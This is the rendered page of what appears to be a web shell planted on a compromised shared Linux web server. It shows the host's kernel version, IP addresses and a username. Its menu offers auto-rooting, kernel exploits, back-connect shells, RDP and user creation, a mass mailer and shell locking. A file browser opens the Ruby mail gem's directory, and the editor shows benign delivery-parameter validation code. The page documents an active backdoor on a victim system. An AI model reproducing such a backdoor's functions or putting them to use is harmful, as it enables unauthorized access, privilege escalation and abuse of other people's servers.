Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
mail /
[ HOME SHELL ]
Name
Size
Permission
Action
core_extensions
[ DIR ]
drwxr-xr-x
elements
[ DIR ]
drwxr-xr-x
encodings
[ DIR ]
drwxr-xr-x
fields
[ DIR ]
drwxr-xr-x
matchers
[ DIR ]
drwxr-xr-x
multibyte
[ DIR ]
drwxr-xr-x
network
[ DIR ]
drwxr-xr-x
parsers
[ DIR ]
drwxr-xr-x
values
[ DIR ]
drwxr-xr-x
version_specific
[ DIR ]
drwxr-xr-x
attachments_list.rb
3.51
KB
-rw-r--r--
body.rb
9.52
KB
-rw-r--r--
check_delivery_params.rb
1.43
KB
-rw-r--r--
configuration.rb
1.74
KB
-rw-r--r--
constants.rb
1.75
KB
-rw-r--r--
elements.rb
960
B
-rw-r--r--
encodings.rb
10.46
KB
-rw-r--r--
envelope.rb
658
B
-rw-r--r--
field.rb
9.29
KB
-rw-r--r--
field_list.rb
867
B
-rw-r--r--
fields.rb
2.19
KB
-rw-r--r--
header.rb
9.02
KB
-rw-r--r--
indifferent_hash.rb
3.78
KB
-rw-r--r--
mail.rb
8.15
KB
-rw-r--r--
message.rb
66.58
KB
-rw-r--r--
multibyte.rb
3.68
KB
-rw-r--r--
network.rb
836
B
-rw-r--r--
parser_tools.rb
446
B
-rw-r--r--
parsers.rb
681
B
-rw-r--r--
part.rb
3.15
KB
-rw-r--r--
parts_list.rb
1.96
KB
-rw-r--r--
utilities.rb
8.37
KB
-rw-r--r--
version.rb
233
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check_delivery_params.rb
# frozen_string_literal: true module Mail module CheckDeliveryParams #:nodoc: class << self def check(mail) [ check_from(mail.smtp_envelope_from), check_to(mail.smtp_envelope_to), check_message(mail) ] end def check_from(addr) if Utilities.blank?(addr) raise ArgumentError, "SMTP From address may not be blank: #{addr.inspect}" end check_addr 'From', addr end def check_to(addrs) if Utilities.blank?(addrs) raise ArgumentError, "SMTP To address may not be blank: #{addrs.inspect}" end Array(addrs).map do |addr| check_addr 'To', addr end end def check_addr(addr_name, addr) validate_smtp_addr addr do |error_message| raise ArgumentError, "SMTP #{addr_name} address #{error_message}: #{addr.inspect}" end end def validate_smtp_addr(addr) if addr if addr.bytesize > 2048 yield 'may not exceed 2kB' end if /[\r\n]/ =~ addr yield 'may not contain CR or LF line breaks' end end addr end def check_message(message) message = message.encoded if message.respond_to?(:encoded) if Utilities.blank?(message) raise ArgumentError, 'An encoded message is required to send an email' end message end end end end
Close